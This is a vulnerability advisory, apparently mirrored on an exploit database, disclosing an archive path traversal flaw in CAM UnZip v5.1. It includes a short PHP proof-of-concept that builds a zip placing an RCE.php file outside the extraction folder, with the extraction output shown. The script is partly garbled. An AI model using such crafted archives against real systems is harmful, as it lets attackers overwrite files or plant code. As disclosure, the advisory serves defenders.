[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt Vendor: ================= www.camunzip.com Product: ============== CAM UnZip v5.1 Vulnerability Type: ====================== Archive Path Traversal CVE Reference: ============== N/A Vulnerability Details: ===================== CAM UnZip fails to check that the paths of the files in the archive do not engage in path traversal when uncompressing the archive files. specially crafted files in the archive containing '..' in file name can overwrite files on the filesystem by backtracking or allow attackers to place malicious files on system outside of the target unzip directory which may lead to remote command execution exploits etc... Tested successfully Windows 7 Exploit code(s): =============== malicious archive script... ";exit();} $file_name=$argv[1]; $zip = new ZipArchive(); $res = $zip->open("$file_name.zip", ZipArchive::CREATE); $zip->addFromString("................RCE.php", ''); $zip->close(); echo "Malicious archive created...\r\n"; echo "========= hyp3rlinx ============"; ?> ///////////////////////////////////////////////////////////////////////////////////// Result: Creating Folder: C:TestBOZO Extracting Files From: C:TestBOZO.zip Unzipped file C:TestBOZO................RCE.php of size 28 1 file was Extracted. C:RCE.php Exploitation Technique: ======================= Local Severity Level: ================ Medium [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. # Iranian Exploit DataBase = http://IeDb.Ir [2016-04-15]